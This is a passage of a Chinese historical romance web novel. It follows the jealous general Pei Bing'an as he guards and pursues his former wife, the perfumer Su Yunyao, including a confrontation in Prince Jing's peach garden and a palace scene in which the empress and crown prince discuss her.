他的麾下一向清楚,他向来铁面无私,恪守军规,从不在意儿女情长,保家卫国才是他一生的追求。
若是让旁人知晓他会被苏氏所惑,只怕会有损他在军中的冷硬形象。
“臣身上的伤还没好,需要静养一段时日。”
为了佐证自己的话,裴秉安不自在地别过脸去,以拳抵唇虚虚咳了几声,那咳声扯动心肺,似真有难愈的肺腑之症。
想到他之前挨了一百杖,那监房的环境阴暗潮湿,兴许真会生出什么难愈的毛病来,元德帝关切地看了他几眼,吩咐道:“那且在京中养病,等病好了再去。”
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暮色四合时,苏云瑶带着青桔逛完铺子,主仆两人没有乘马车,而是慢悠悠地走着回了校尉胡同。
只是,在快要走到胡同口的时候,她忽然蹲下身去,慢条斯理地整理了几下自己有些凌乱的藕荷色裙摆。
不远不近跟着她们身后的两个兵卫,见状急忙顿住了脚步,飞快闪身藏到角落处,隐匿了自己的行踪。
苏云瑶蹙起眉头,冷冷勾了勾唇角。
对方以为藏身之处隐蔽,不会被人发现,但她假装整理衣裳的时候,眼角的余光早已瞥见了他们鬼鬼祟祟的动作。
她无声朝青桔比划了身后有人跟踪的手势。
青桔腮帮子撑得鼓鼓的,急忙咽下嘴里的栗子糕,气哼哼瞪大眼睛,拎着手里三尺长的铁棍一个箭步冲了过去。
她动作奇快,手劲又大,没等跟踪他们的贼人应过来,便一手揪住了其中一个的衣领,铁棍抵住另一个的咽喉,撵鸡崽似的把人推搡到了自家小姐面前。
“你们贼眉鼠眼的,一看就不是好东西,说,跟踪我们做什么?”青桔叉着腰,气势汹汹地审问。
两人面面相觑了片刻,其中一个尴尬地挠了挠头,另一个则心虚地看了苏云瑶一眼,便马上低下了头。
“姑娘,你们看错了,我们我们不是跟踪你们。”
他们言语支支吾吾,更像是坏人了,青桔不耐烦地大喝一声:“再不承认,小心我手里的铁棍不长眼!”
苏云瑶仔细打量了两人几眼。
自从那日太子邀她去船上叙话以后,怀疑他暗中派人监视她的行踪,这几日来她处处小心留意,总算逮到了这些悄悄跟踪她的人。
只是视线落在这两人隐约露出的衣摆上,她不由皱起了秀眉。
他们作了装扮,外面套的是家常粗布衣裳,而里面穿的好像是兵服。
而且那兵服看上去有些眼熟,竟有些金吾卫兵卒的衣裳。
苏云瑶思忖片刻,突然道:“青桔,看看他们有没有带令牌。”
那两人闻言大惊,彼此对视一眼后,便打算脱身逃走,方才青桔上前抓获了两人,因怕不小心伤到她,两人未敢动武,为防身份败露,这个时候却是不能再犹豫了。
只是还未等他们动身,却听到苏娘子惊讶地说:“你们果真是金吾卫的士兵?”
顿了顿,不待他们承认,她已十分肯定自己的判断,转而道:“是谁派你们来的?”
两人惊愕不已,不知自己是怎么被看穿了身份,摆着手连连否认。
“苏娘子,你千万别多想,没人派我们来。”
“对,对,我们我们只是恰好巡视这里,怕不安全,才悄悄跟着的你们的。”
“就是,就是,这事绝对跟将军没有半分关系!”
苏云瑶无语地看了他们一会儿,一时不知道该说什么,便转身朝校尉胡同走去。
两人简直不打自招,既然他们是金吾卫的士兵,不用说,一定是裴秉安派来的。
那厮身在狱中自身难保,竟还分心派人来保护她,真不知她是该骂他多事,还是谢他好心。
夤夜时分,夜深人静,想着连日来发生的事,苏云瑶丝毫没有睡意,干脆拥被起身,半靠在床头想事。
室内不必点灯,清朗月色照过窗棂,似在室内撒了一层朦胧的柔光,借着这点月色,她掀被赤足下榻,想要斟一杯热茶润润嗓子。
突然,房外传来极轻的脚步声。
苏云瑶微微皱眉,迅即抄起床畔的袖箭,无声走到窗牖旁,隔着窗隙向外看去。
这个时辰,偷偷翻墙进院的,定然是翻箱倒柜偷盗东西的小贼,她保管擒住这小贼,叫他进得来这院子,出不去!
院中,一个穿着黑袍,头戴兜帽,身形伟岸挺拔的男人,悄无声息地走近正房。
他先是在廊檐下停驻片刻,将她落在美人椅上的话本子收好,之后又信步走到石案旁,小心翼翼掏出一包蜜饯来,放到玲珑小巧的匣盒里,复又仔细地盖好。
他做这些,完全是十分驾轻就熟的模样,而进这间院子,简直比回他自己的府邸还熟悉。
心绪复杂地盯着这厮,苏云瑶气恼地咬住了唇。
怪不得她最近总觉得,那蜜饯好像吃不完似的,手里的袖箭也像是变了个样,就连苏宅周围都变得极其安静,偶尔有醉汉路过扰人清梦的叫喊声都戛然而止,像是被人掐住脖子丢到了远处。
房外,例行公事般巡视了苏宅一圈,不见有防守薄弱之处,也没有外人打扰,裴秉安恋恋不舍地朝卧房的方向看了一眼,便打算离开。
只是刚走了一步,便听到自正房传来熟悉的轻柔嗓音。
“站住。”
明明是温婉柔和的声音,即便气极发火的时候,也是极动听的。
但此时,却像是头顶不期然落下一道炸雷,裴秉安身形一僵,脚步定在了原地。
第76章 第76章哪还有半点生病的样子。……
四周寂然无声,惟有清辉遍地。
正房房门半开,苏云瑶身着淡绯色寝衣,绵密柔顺的长发如瀑般披在肩头,纤手里握紧那把青竹袖箭,蹙起秀眉盯着几步之外的男人。
一想到他被关在监房,还时不时深更半夜到她的院里来守着,她简直气不打一处来。
她的日子过得好好的,用得着他多此一举?
“你不是在监房吗?怎么出来的?”
本是气极了想数落他几句,话一出口竟变成了这样,苏云瑶下意识皱了皱眉头,转念一想又觉得自己问得多余。
他那身功夫来无影去无
踪的,不知到她院里来了多少回都没被发现,进出狱所想必也是轻而易举。
裴秉安不自在地握了握长指,一双黑沉眼眸定定看着她,眸中清晰地映着她纤细单薄的身影。
“抱歉,我实在有些担心你”
话未说完,他忽然别过脸去,以拳抵唇重重闷咳了几声。
那咳声牵动肺腑,听起来有些严重。
苏云瑶抿唇看着他,无声冷笑着暗哼了一声。
病了?不过,装这种可怜巴巴的样子给谁看呢?
当初宋婉柔在裴府时,他倒是一心一意看护着人家,这么个大好人,怎么就没有好报,现在孤身一人还在病中,也不见有人巴巴守着他给他请大夫呢?
呸,活该,休想让她心生同情,给他好脸色!
她面无表情地瞥了他几眼,抬手便要阖上门板,“天色太晚了,你回去吧,以后不要深更半夜潜进我的院子里,也不要派你的人保护我,我用不着。”
裴秉安拧起剑眉,压下喉头涌出的痒意。
方才那阵突如其来的咳声并非他有意为之,而是身上的伤还没好全,夜晚吹些冷风时,便偶尔还会有些咳嗽。
不过他身体强健,这种小毛病压根不值一提,他从来不会放在心上。
云瑶凶巴巴赶他走,他并不意外,不过沉沉看了她一眼,视线在那雪白的双足上落了一瞬,他便知礼地转过身去背对着她,沉声叮嘱道:“晚上天凉,莫要光脚踩在地板上。”
苏云瑶一愣,垂眸看了看自己的脚,才恍然想起方才下榻时没有套上软鞋。
她神色有些发窘,握紧了袖箭急匆匆去了里间,不一会儿穿好鞋子,又披了件得体的斗篷遮住寝衣,才神色如常地走了出来。
不过,隔着门缝往外看了一眼,只见裴秉安依然负手站在原处,高大挺拔的身形不动如山,似乎还在默默等着她。
她不由又烦躁地拧起了眉头。
都这个时辰了,他还不回监房,若是万一被狱所的人发现,说不定又得多一项罪名。
“你怎么还不回去,可还有事要对我说?”
略有些着急地催促他离开时,她下意识抬头打量了几眼夜空。
夜幕沉沉,不知何时悄然飘来几朵暗云遮住了圆月,明亮的星子都悄然隐了起来,看样子竟然有下雨的征兆。
裴秉安沉默着了踌躇片刻,再开口时,嗓音带着些干咳之后的沙哑。
“哦,你不必担心,我已出狱了,不算潜逃。”
苏云瑶:“?”
自作多情,谁担心他了?
她懒得再理会他,正要严严实实地关紧房门时,院中的绿竹忽然沙沙作响,一阵疾风倏然吹过,豆大的雨点从夜空中噼里啪啦地砸了下来。
劲风急雨来得猝不及防,就算是个素未谋面的陌生人,也不好这个时候让人家淋成落汤鸡离开。
苏云瑶无奈睨了眼裴秉安,只好示意他先进房避雨。
外面夜色暗沉,风雨交加,待他进房后,她便闭好门窗,点亮了灯烛。
拂袖落座后,裴秉安眉头紧锁,又重重闷咳了几声。
苏云瑶不由拧了拧秀眉。
如果之前的咳声让她觉得他有装病的嫌疑,这次却由不得她不注意了。
借着悠亮的烛光,仔细看了那厮几眼,她赫然发现,他那肤色冷白的脸颊竟泛着不正常的潮红,额角挂着一层细密的薄汗,还没靠近他,她便觉得他像个火炉似的,散发着异常的高温。
“你起烧热了?”她盯着他黑沉的星眸问道。
身体感觉没什么不适,裴秉安沉声否认:“没有,我很好。”
话音落下,对面的人似无语地叹了口气,尔后纤细的手掌覆上了他的额头。
独属于她的清淡的幽香萦绕在身畔,微凉而熟悉的触感让他一时愣住。
“额头烫得都能煮鸡蛋了,还说没事,非得晕倒了才叫有事吗?你多大年纪了,连照顾自己都不会?”苏云瑶忍无可忍数落他起来。
这个时候,外面风雨正大,深更半夜的,去请大夫都不方便,他可倒好,偷潜入她的院里不算,还起了烧热需得照顾,真叫人烦心。
听到她久违的责怪,就如和离之前,他的胳膊受了伤,她关心则乱地朝他发了脾气那次一样,裴秉安黑沉眼眸一瞬不瞬地看着她着急的神色,微不可察地勾起了唇角。
不过,下一瞬,听到自她口中说出“年纪大”三个字时,他的薄唇僵直地抿成了一条直线。
他尚未到而立之年,不过比她大了五六岁,正值青春鼎盛之年,建功立业之时,怎就称得上年纪大了?
“区区一点烧热,无需在意。”
他不悦地拂袖起身,想以他如平常无异的有力脚步表明他正值青春年少、身体强健之时,然而刚走了一步,那脚底竟忽然发软踉跄了一下,幸亏他反应敏捷虚扶了把身旁的长案,才堪堪稳住了身形。
他这个样子,是必须得好好吃药养病了,苏云瑶冷冷剜了他一眼,吩咐道:“去厢房歇息。”
无声僵持了片刻,触到她不容反对的严肃眼神,裴秉安只好依她所言。
苏宅多了个养病的,有厨娘每日送汤送药,除了每日清晨过去探望一眼后,苏云瑶并没怎么放在心上。
大夫说了,裴秉安那厮是因前段时日伤了身体,又偶感风寒,才生出了咳疾,只要静心养上数日,按时服用汤药,慢慢就会好起来了。
等他没什么大碍了,她便让他离开。
只是,她心头一直悬着件事,太子那日莫名其妙见了她一次,让她始终琢磨不透他的目的。
而算算日子,紫薇伴梦香应该快用完了,按照约定,景王殿下傍晚时分会到凝香坊来见她,她思忖着,心里那些百思不得其解的疑问,也许可以从景王这里得到答案。
然而,清晨天色刚亮的时候,景王府的婢女便迫不及待地叩响了苏宅的大门。
“苏娘子,殿下请你去桃花坞相见。”
婢女送来了一张请帖,上头写着桃花坞的位置,是景王的亲笔题字,随同请帖送来的,还有景王殿下的信物——一枚四爪蟠龙暖玉玉佩,是他随身佩戴之物。
之前萧祐说过,见到这枚玉佩便如见到他本人,苏云瑶细细端详了一番,确认玉佩真实无疑,便带着青桔登上马车,吩咐车夫赶车去城郊的桃花坞。
客院厢房。
天色微亮,服过三日汤药,裴秉安的烧热早已退去,身体也几乎恢复如常。
只是,默然躺在榻上等了许久,那每日都来探望他的人,却迟迟没有出现。
厨娘来送汤药的时候,裴秉安道:“苏娘子可在家?”
厨娘想了想主子离开之前的吩咐,说是要去什么桃花坞,便道:“娘子去桃花坞了,还说让大人喝了这碗药,要是今日症状减轻了,就回府去吧。”
回府的话,裴秉安恍然未闻。
不过,听到桃花坞三个字,觉得这个地方有些耳熟,他的剑眉紧锁起来。
桃花坞,莫非是景王的私园?
厨娘刚刚放下药碗,便觉眼前一道人影突然闪过。
等她再回过神来,追出去看时,只见那裴大人早已身手敏捷地翻身上马,快马加鞭朝着远处疾驰而去,哪还有半点生病的样子。
第77章 第77章选他,还是选我?
桃花坞座落于城郊灵山脚下,依山傍水,景色怡人,错落有致的亭台楼阁星罗棋布,奇花异草葳蕤繁盛,其中最美不胜收的,是绵延十里的桃林。
正值桃花绽放的时节,远远望去,犹如绚烂夺目的绯红云霞,微风拂过,云霞如波涛般层层起伏,阵阵清淡而微甜的香气萦绕四周,令人心旷神怡。
紫云楼上,萧祐凭窗而立,凤眸微微眯起,满意地远眺着那盛开的桃花。
“帖子可送到苏宅了?”
“回殿下,
已打发人送过去了,算算时辰,苏娘子应该快到了。“近侍答道。
萧祐悄然勾起了唇角,凤眸隐含笑意。
今天风和日丽,坞中桃花悉数绽放,正是赏花的最好时节。
近些日子,他频频亲自到桃花坞来,就是为了选坞中桃花盛开最美的时候,邀她前来,与她一同赏花饮酒,谈香论道。
“那本王先去门口等她。”
他大步下楼,之后便翻身上马,一夹马腹,循着坞中长道朝进口处行去。
平时王爷不骑马,今日却是破了例,几个近侍见状,忙跟在后面一溜小跑追上。
桃花坞是景王私园,占地颇广,四周矗立着高约两丈的石墙,飞檐高翘的朱门之上,写着桃花坞三个大字,一笔一划散漫潇洒,藏锋含蓄。
远远看到一辆乌蓬马车朝这边行来,萧祐下意识理了理衣襟,吩咐左右近侍大开朱门等待。
马车上,撩开车帘往桃花坞的门口看了一眼,陆凤灵突然视线一顿,纳罕地瞪大眼睛,暗自啧啧了两声。
到了近前,不等车夫停稳了车,她便急忙从车上跳了下来,三步并作两步走到萧祐面前,将他从头到脚,又从脚到头打量了好几遍。
他穿着修身的白色锦袍,墨色长发束在玉冠中,连以前手里常摇的象牙扇都没带,看上去一脸正经,眉梢眼角甚至还带着莫名其妙的笑意,半点没看出他以前散漫不羁的样子,倒像个翩翩如玉的状元郎。
她与萧祐自小相识,只见过他随意不羁的一面,可从没见过他这样。
“天哪,今儿刮得什么风,殿下怎么知道我会来这里,还亲自在这里迎接我?”陆凤灵狐疑地盯着他,怀疑他脑子进了水。
萧祐一噎,垂眸不冷不热地睨着她,“又没请你,你怎么来了?”
陆凤灵丝毫没有在意他的不热情,而是忽闪忽闪眨了几下长睫,自顾自点了点头。
说来也是,她原是偷偷从府里溜出来的,根本没知会他,他怎么会提前知道?
话音刚落,远处响起哒哒的马蹄声,一人一骑风驰电掣般往这边疾奔而来,陆凤灵脸色微微一变,提起裙摆猫着腰躲到一旁的廊柱后面,小声对萧祐道:“借你的桃花坞躲一躲,如果是找我的,千万别说我来了。”
萧祐长眉皱起,隔着几步远的距离盯着她道:“又是偷跑出来?这次又是为何?”
陆凤灵一言难尽地摆了摆手,苦着脸道:“算了,别问了,你记住别把我说出去,不然我跟你没完。”
萧祐无语地移开视线,默然深吸口气,长指烦躁地按了按眉心。
左右不过是她爹娘想让她嫁人,那人不合她的心意,她便偷偷溜出来一日躲清静。
她偷躲出来无所谓,只是桃花坞冷不丁冒出这么个多余的人,可能会破坏了他今日煞费苦心的安排。
正在他皱眉苦思如何将她打发走时,愈来愈近的马蹄声擂鼓般响起,蓦然看清了那高坐在马背上的男子,萧祐幽黑的瞳孔难以置信地颤了颤。
拍马走近,裴秉安一勒缰绳,青骓高高扬起前蹄嘶鸣几声,还没等它停在原地,他已长腿一抬,翻身跃下了马背。
看到萧祐,眼神锐利地打量对方几眼,他面无表情地拱了拱手:“殿下别来无恙。”
萧祐勉强勾起唇角笑了笑。
他与裴将军打过不少交道,以前也曾邀他到桃花坞来饮酒赏花,可每次都会被严词拒绝,今天为何就这么巧,苏娘子还没来,他倒先来了?
“裴将军怎么有兴致到本王这里来?”
裴秉安沉默一瞬,面不改色地道:“臣近日在家休养,大夫说到郊外散心有利于病情恢复,想起殿下的桃花坞春光正好,便一时兴起到这里来看一看,不知可扰了殿下清静?”
萧祐表情复杂,欲言又止了半晌,只好干巴巴笑了声。
眼前的裴将军虽是被贬官了,可还持着父皇特赐的令牌,可以自由出入皇宫大殿、各处府邸,他倒是想阻拦他,可也没理由拦住。
“裴将军到桃花坞来,本王高兴还来不及呢。”
萧祐不情不愿地做了个请的手势,抬眼间看到躲在廊柱后探头探脑的陆凤灵,瞬间只觉额角青筋突突直跳,暗悔选了个今天这么个倒霉日子,遇见了这对不请自来的表兄妹。
一阵微风吹过,远处传来了不疾不徐的马蹄声。
乌蓬马车缓缓行驶过来,四角香铃叮咚作响,没多久后,便稳稳停在了桃花坞的门前。
萧祐神色一喜,正要亲自去接车里的人,裴秉安已先他一步,大步流星地走了过去。
苏云瑶掀开车帘,第一眼先看见了他身姿笔挺地负手立在车外,似是在特意等她下车。
她微微一愣,不由惊讶地扬起了秀眉。
她接到景王殿下的请帖便驱车来了桃花坞,期间大约用了大半个时辰,离开时他明明还在客院厢房歇息呢,怎么一转眼还跑到她前面来了?
“你怎么在这里?”她压低声音道。
裴秉安垂眸看着她,淡声道:“哦,我本就打算到景王殿下的私园赏景,不知道你会来,巧合而已。”
说话的同时,他接过车夫手中的车凳,十分自然地弯腰将车凳放好,然后微微抬起坚实的长臂,示意她扶着他的胳膊下车。
目含疑惑地看了他几眼,苏云瑶没再多问。
至于快要伸到她眼睛底下的那条十分多余的胳膊,她视而未见,径自踩着车凳下了车。
一旁,目睹裴将军待苏娘子那旁若无人的亲密模样,萧祐张了张嘴欲言又止,凤眸中的情绪实在复杂难辨。
下车之后,看到站在几步之远处的景王殿下,苏云瑶微微一笑,弯腰行了个福礼:“民女见过景王殿下。”
萧祐忙上前几步,虚虚扶了她一把,示意她不必见外。
“苏娘子,本王等你多时了,请吧。”
他长眉抬起,唇角笑着弯了起来,眸中暗藏得意——裴将军献殷勤又如何,苏娘子根本没把他放在眼里。
话音刚落,本来藏身在廊柱后的陆凤灵别提多高兴了,提着裙摆小跑着冲了出来,一把抱住了苏云瑶的胳膊。
她本想到这里躲一躲,原以为这园子还会像以前那样冷冷清清,没成想先是见到了萧祐,后又来了表哥,更没想到得是连苏姐姐也来了,这下可好了,他们这么多人凑一起,可以热热闹闹过一天!
彼此打过招呼后,一行人登上了桃花坞的紫云楼。
只不过,一路上,两个女子在前面亲热地说着话,而裴秉安与萧祐彼此意味深长地对视几眼,各自脸色一言难尽,气氛略有些沉闷。
紫云楼高高矗立在桃花坞的中间,雕梁画栋,檐牙高啄,凭栏远眺,坞中所有美景可以尽收眼底。
陆凤灵嘀嘀咕咕说了许多话,再回过头时,才发现表哥和景王殿下分别端坐两张椅子上,神色都有些凝重阴沉,氛围莫名十分古怪。
难道是表哥和景王殿下有些生疏,没有什么话说?
陆凤灵转了转乌黑的眼珠,马上计上心来。
“这里景色这么美,不如我们把酒言欢,一边吃酒,一边玩骰子,谁输了,谁就亲自去桃林摘一枝桃花来,如何?”
想到这个主意,不等其他人附和,她便兴致勃勃地吩咐丫鬟取来了骰子。
说话间,她挽起衣袖晃起了骰子,一时间,骰子在骰盒里哗啦作响,她清脆的笑声亦回荡在房内,逐渐驱散了有些沉闷的气氛。
萧祐早已着人备好了酒菜,闻言便吩咐近侍呈上来 。
其中有一道玉露团,是他特意为了今天亲手准备的,近侍将玉露团摆放到苏云瑶面前时,萧祐频频看向她,朗声道:“各位,尝尝这道糕点可有什么不同之处?”
这玉露团看上去洁白如玉,有点像糯米桂花糕,细细轻嗅,散发着清淡微甘的香味,而咬上一口,唇齿间则溢出清新浓郁的清凉口感,味道醇厚而层次分明,吃完一小口,令人回味无穷。
细嚼慢咽尝了一块,苏云瑶轻轻点了点头,眸中尽是赞赏,“殿下心思巧妙,可是在团中加了龙脑、薄荷这两种香料?”
萧祐欣慰地笑道:“苏娘子蕙质兰心,猜对了。”
说话时,他暗暗瞥了一眼另外两人,不由深感头疼。
他突发奇想在糕点中加了能入口的香料,果然博得了苏娘子的赞许,可在座的那两个很快如牛嚼牡丹般吃光了剩下的糕点,白白浪费了他的心意。
吃完糕点,陆凤灵拍了拍手上的糕渣,一仰脖子喝了半盏酒,之后便拿起骰子晃了起来。
她晃了一个三,一个六,加起来是九点,依次是苏云瑶,但她若有所思地看了那骰子几眼,抿唇思忖片刻后,笑着对萧祐道:“还是请殿下先来吧。”
萧祐没推辞,晃出来两个一点,这点数最小,不用等余下的人再晃,便可以认输了。
不过,他面上不见任何输了的懊悔之意,而是抬眸看了一眼苏云瑶,笑道:“看来,本王要去摘一枝桃花来了。”
苏云瑶却忽然道:“殿下,胜负还没定,稍等片刻。”
她将骰子移到近前,凝神摇动了几下骰盒后,便将骰盒放回原处,胸有成竹地揭开了盖子。
只见两个一点的骰子赫然现了出来。
陆凤灵霎时瞪大了眼睛,急得连连跺脚:“苏姐姐,你怎么也摇出来两个一点,这下要与殿下一同受罚了!”
苏云瑶垂眸未语,只是看似有些懊恼地笑了笑。
她今日到这里来,本就不是为了赏景玩耍,而是要当面问一问景王殿下那紫薇伴梦香的事,而故意摇出与景王殿下一样的点数,正是为了避开凤灵妹妹与裴秉安那厮,借此与景王独处一会儿。
不过,她正要起身与萧祐同去,端坐在一旁沉默许久的裴秉安,突然沉声开口:“莫急,我还没有扔骰子。”
说完,他劲挺长指握紧瓷白的骰盒,只是随意晃了一下,便将骰盒放到了原处。
陆凤灵揭开了盒盖,看见又是两个一点,惊得眼珠子都快瞪出来了,“这也太巧合了吧,表哥怎么又是一样的?”
苏云瑶纳罕地看了裴秉安一眼。
她原以为这厮一向恪守军规,严于律己,定然不屑沾这些博/彩助乐的玩意儿,没想到,他竟也是其中高手。
似是早有所感,裴秉安沉沉看了过来,视线相触的瞬间,他薄唇僵直地抿成了一条直线,冷着脸一拂袍袖,率先起身走了出去。
苏云瑶:“?”
不是,他莫名其妙生什么气?
到了桃林中,近侍亦步亦趋跟在三人身后,萧祐摘了一枝红艳艳的桃花,近侍便将桃花放在白玉瓶中,送到紫云楼去请陆姑娘过目。
置身于桃林中,犹如盛开的花海,清香阵阵,蜂蝶起舞,苏云瑶一时有些失神。
年少时,她喜欢在桃林纵马驰骋,玩累了便靠在桃树底下眯眼歇神,一晃眼数年过去,那已是遥不可及的美好回忆了。
不远处响起沉稳的脚步声,她很快回过神来。
此行的目的她一直记着,眼下到了桃林中,只需要想个办法暂时支开裴秉安那厮,与景王殿下单独说几句话
然而,身后突然传来一声低沉的闷哼。
苏云瑶心头一跳,不妙的预感顿时冒了出来。
她急忙转身看去,只见方才还安然无事的景王殿下,此时竟闭眸依靠在一棵桃树旁,像是因突然遭了重袭而昏倒。
裴秉安面无表情地收回手刀。
方才他不过使了两分力道,能够保证不会伤到景王殿下分毫的同时,还能让他睡上两个时辰。
苏云瑶惊愕地盯着他。
“你疯了,为什么要这样?”
裴秉安沉默片刻,突然偏过头去,以拳抵唇撕心裂肺得重咳起来。
直咳得简直上气不接下气,脸色也惨白不已,他才慢慢停了下来。
他一步步向苏云瑶走去,利刃似的视线始终盯着她的眼睛,每逼近一步,她就惊慌地退后一步,直到她退无可退,后背抵住了一株桃树。
“是担心他,照顾他,等他醒了告诉他真相,让皇上治我伤及皇子的罪,还是照顾我,包庇我,与我站到一起,你只能选一个。”他垂眸看着她,哑着嗓子道。
第78章 第78章啐了他一口。
阵风拂过,绯红花瓣打着旋儿飘飞,扑簌簌落满了肩头。
此景再是优美苏云瑶也无心欣赏。
她纤薄的脊背抵在桃树上,气愤地眨了眨扇子似的葳蕤长睫,眼前的桃花拂开之后,一双清澈的眸子里清晰地映着对面那高大挺拔步步逼近的身形——裴秉安这厮忽然发疯的举动,愈加让她生气。
距离咫尺之远,黑沉星眸一眨不眨地盯着眼前的人,裴秉安眸底郁色如狂风巨浪般翻涌不休。
苏氏仰着白皙如玉的脸庞,死咬住红润的唇瓣,杏眸圆睁瞪着他,那疏冷生气的模样让他陡然生出一种恐慌与惧怕,惧怕他方才连声逼问的结果,是她看都不看他一眼,而毅然决然走向那个不堪一击的景王。
还没想清楚如何面对这种可怕的结果,他已本能地伸出坚实的长臂,铁钳似的劲挺大手将那纤细的腰身一揽,猛地带到了自己的怀里。
“既然看在我生病的份上收留我,可怜我,照顾我,那就永远只能照顾我一人,”他闷声开口,嗓音沉冷而干哑,眼角却微微有些泛红,“云瑶,你不能当着我的面往我心口狠狠戳刀子,让我嫉妒发狂,痛不欲生。”
因他不知所谓的话,苏云瑶瞪大眼睛愣了一瞬,那有力的长臂紧紧环住她的腰,把她禁锢在胸前,她动弹不能,挣脱不得,一时回过神来恼羞成怒,握起拳头砰砰往裴秉安的肩头使劲锤了几下,“你先放开我,再把话说清楚!”
裴秉安沉默片刻,长臂放缓了力道,苏云瑶顺势从他的怀里挣扎出来,急忙退后几步,与他拉开一段安全的距离。
她气呼呼将额前的乱发别到耳后,理了理凌乱的衣襟,深深吸了几口气,才勉强压下心底的怒火,之后抬起下巴睨着对面的人,道:“我何时往你心口插刀子了?”
裴秉安默然几息,一动不动地看着她,眸底似有几分隐忍的委屈。
“你为什么要与景王私会?为什么故意扔出同他一样的点数,要与他单独到桃林来?”
苏云瑶:“?”
她几乎气极而笑,“我赴约前来,是因为有重要的事要问殿下,怎就是私会了?”
闻言,裴秉安沉冷的脸色稍稍好转了些,道:“何事需要问他,问我也是一样的。”
苏云瑶不由蹙眉瞪了他一眼。
皇上用香的事,她总感觉不对劲,再者,这说到底是她的家事,皇宫里的那些人她不清楚好坏,自己以后的福祸吉凶难以预料,而他现在被贬了官职前途未卜,她自己的事,不想再连累了他。
见她抿唇沉吟着没说话,裴秉安剑眉拧起,沉声提醒道:“皇家自有规矩,皇子公主的婚姻大事,皆由皇上与皇后指婚,即便贵为太子,潇洒如景王,娶妻的事,也由不得他们自己做主。”
苏云瑶忽然抬眸定定看了他一眼,不知想起来什么,眼圈莫名红了。
“我怎么会不知道,用得着你提醒?”
话音落下,她一甩袖子,没再理会他,红着眼睛,又气又恼地朝着桃林深处走去。
她往前走着,沉稳的脚步声始终紧跟在她身后,甩也甩不掉。
走了一小段路,苏云瑶鼻子一酸,再也压不住心底酸涩的情绪,索性停了下来。
裴秉安这厮提到皇家规矩,她便不由自主地想起了娘亲,站在桃树底下,她的眼泪如断了线的珠子似的,啪嗒啪嗒落了下来。
裴秉安默然矗立在她身旁,因不知为何她突然气哭了,神色有些无措而慌乱。
默然等待片刻,还不见她情绪平复下来,他从怀里掏出一只帕子递到她眼前,道:“别哭了,擦擦泪。”
这帕子绣着一朵小小的紫薇花,是她原落在裴府里的东西,被他珍而重之地带着身旁,一次都没舍得用过。
透过朦胧的泪眼,看清他那大手里握着的竟是自己的旧绣帕,苏云瑶抽噎几声,接过来又气冲冲地砸回他手里,没好气地说:“你自己没有帕子,带着我的做什么?”
裴秉安没作声,低头仔仔细细拭干她泛红眼尾的泪水,沉声道:“莫哭。”
顿了顿,他绞尽脑汁想了会儿,又道:“你放心,等我的病养好了,我便再去边境立军功,届时升官赐爵,你想要什么,都会有的。”
他一向谨言慎行,从不会空口夸大,也不会说什么花言巧语,只是看到苏氏一脸委屈的模样,便想用这样的话让她开心。
谁料,那满脸泪
痕的人听到他的话,连哭也不哭了,瞪大红彤彤的眼睛看着他啐了一口,“呸,我想要什么自己都有,用得着你给我买?有这替我费心的心思,不如善心大发去探望探望什么张家姑娘,李家姑娘,说不定都是于你有恩的人家的女儿,且等着你照顾呢!”
裴秉安哑口无言半晌,薄唇艰涩地动了动,惭愧地说:“以前是我不对,以后不会再这样了。”
苏云瑶冷笑:“你以后怎样,跟我也没关系。”
话音落下,咬唇瞥了他一眼,她心中怒气更盛了些。
这厮说得什么嫉妒发狂,痛不欲生,她根本懒得在意,只是他现在像个赖皮膏药一样粘着她,她撵也撵不走,等他受够了她的冷脸那一天,自然会离开的。
这样无情地想完,心头畅快了些,她重重哼了一声,转身循着来时的路回去。
裴秉安一言不发地跟在她身后。
不过,垂眸沉沉看着眼前纤细单薄的身影,他的唇角不易察觉地勾起一抹弧度。
以前,她待他礼貌客气却冷淡疏离,而现在,她打了他,骂了他,他却觉得,他们的距离似乎拉近了一些。
他已暗暗开始畅想,当初她嫁给他时,还得自掏银子往府里贴补家用,等他封侯封王以后,再回来风风光光娶她进门,定然补偿她以前所受的委屈,让她养尊处优,尽享世间荣华富贵。
桃林的另一边,萧祐昏睡了不到半刻钟,便醒了过来。
他揉了揉有些酸痛的脖颈,想不起自己为何会突然在桃林里睡着,忖度着兴许是在席间饮了几杯酒,一时酒意上涌才醉了一会儿。
待看到苏云瑶与那裴将军一人折了一枝桃花走过来时,他便也没再多想,恰巧陆凤灵在紫云楼等不及,带着近侍来寻他们,几人汇合后重回紫云楼,席间很快又如之前一样,响起了掷骰子的声响。
只是,景王挨了一记手刀很快便清醒如初,让裴秉安十分意外。
他眉头紧锁,暗暗打量了对方一番,之后似有所悟,便悄然收回了视线。
他那一记手刀,是击在对方穴位上的,力道不重,威力却不容小觑,寻常人会昏睡两个时辰,而景王却早早便醒来,可知,他远非是旁人眼中文武平平的平庸之辈。
~~~
皇宫,坤宁殿。
宫婢按照吩咐将太子殿下带来的画卷铺开后,便悄无声息地退到了一旁,恭声道:“皇后娘娘,请过目。”
林皇后扶着宫婢的手,缓步走到桌案前,待看清那画卷上的女子肖像后,瞳孔剧烈地颤了颤,气定神闲的神色蓦然变了。
她皱眉看了一眼太子,无端的威势便压了过来,萧昀转了转掌中的冷玉扳指,抬手屏退殿中宫婢,道:“母后,这正是那日我见到的苏娘子,父皇用的紫薇伴梦香,正是出自她手。”
林皇后盯着那画看了许久,开口时,一向平和的嗓音微微有些发颤:“她家在何处,姓谁名谁,父母是否还在,可都着人打听清楚了?”
萧昀道:“儿臣早已派人去打探过,她父母双亡,几年前就不在了,老家只有一个婶子,除此之外便再没有别的近亲了。”
林皇后喝了口茶定定神,道:“既然只有她一个人,倒也不算什么大事,那香的事,你是如何与她说的?”
萧昀撩袍在一旁坐下,苍白劲瘦的指尖轻叩了几下桌案,视线落在那令人惊艳的画像上,眸色暗了几分。
“她会制香,对画画也颇有心得,儿臣惜才,本想送与她一些古画,让她为我们所用,没想到,她却拒绝了。”
林皇后冷冷看了他一眼,重声道:“是惜才,还是惜人,你自己心里有数。本宫已把珍儿指给你做太子妃,你是如何待她的?听说你对那良娣常氏还颇为上心,珍儿不说什么,我这个当母后的,却不能不为她做主。你最好记住自己的身份,若是珍儿在你这里受了半分委屈,我不会轻饶了你。”
萧昀默然深吸口气,面上温润笑意却丝毫不减,道:“母后冤枉儿臣了,儿臣怎会有别的心思,东宫永远都是珍儿做主,儿臣再不会纳妾,请母后放心。”
